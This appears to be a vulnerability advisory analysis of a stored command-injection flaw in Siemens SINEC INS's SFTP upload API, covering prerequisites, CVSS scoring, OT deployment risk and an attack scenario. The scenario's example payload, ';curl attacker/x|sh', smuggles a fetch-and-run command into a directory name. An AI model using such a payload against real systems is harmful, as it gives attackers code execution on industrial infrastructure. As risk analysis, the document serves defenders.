SINEC INS EUVD-2026-35383

Exploitation requires (1) network reachability to the SINEC INS web/API interface, (2) valid credentials for an account with permission to call the /api/sftp/uploadFiles endpoint (CVSS PR:L confirms authenticated, low-privilege access is sufficient - administrative rights are not required), and (3) a subsequent directory-listing action by any user or process to trigger the stored payload. Limiting factors: SINEC INS is typically deployed inside segmented industrial/OT management networks rather than internet-exposed, so the attacker must already have a foothold in or credentials to that segment; exploitation is also gated on the second-order trigger, meaning if directory listings are never performed the payload remains dormant. No user interaction is required from the victim beyond the routine act of listing directory contents (CVSS UI:N).

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H indicates a low-complexity network-reachable attack requiring only low-privilege authenticated access and no user interaction, yielding full compromise of the affected service account - a credible priority for any Siemens OT environment exposing SINEC INS management interfaces. EPSS and KEV data were not provided in the input, so widespread exploitation cannot be confirmed; no public exploit identified at time of analysis. The realistic risk is moderate-to-high: SINEC INS is typically deployed in segmented OT/industrial networks where low-privilege accounts may still be broadly issued, and the stored nature of the injection means a low-privilege user can compromise the host the moment a higher-privilege user or scheduled job lists the directory. Scope remains unchanged (SC:N/SI:N/SA:N), so impact is confined to the sinecins service user rather than crossing a privilege boundary at the OS root level.

A low-privilege operator account (or attacker who has phished/credential-stuffed such an account) authenticates to SINEC INS and POSTs to /api/sftp/uploadFiles specifying a directory name containing a shell metacharacter payload such as ;curl attacker/x|sh. The payload is stored in the filesystem or directory metadata, and when an administrator or a scheduled task subsequently views the SFTP directory listing, the injected command is executed as the sinecins service account, giving the attacker an interactive foothold on the appliance.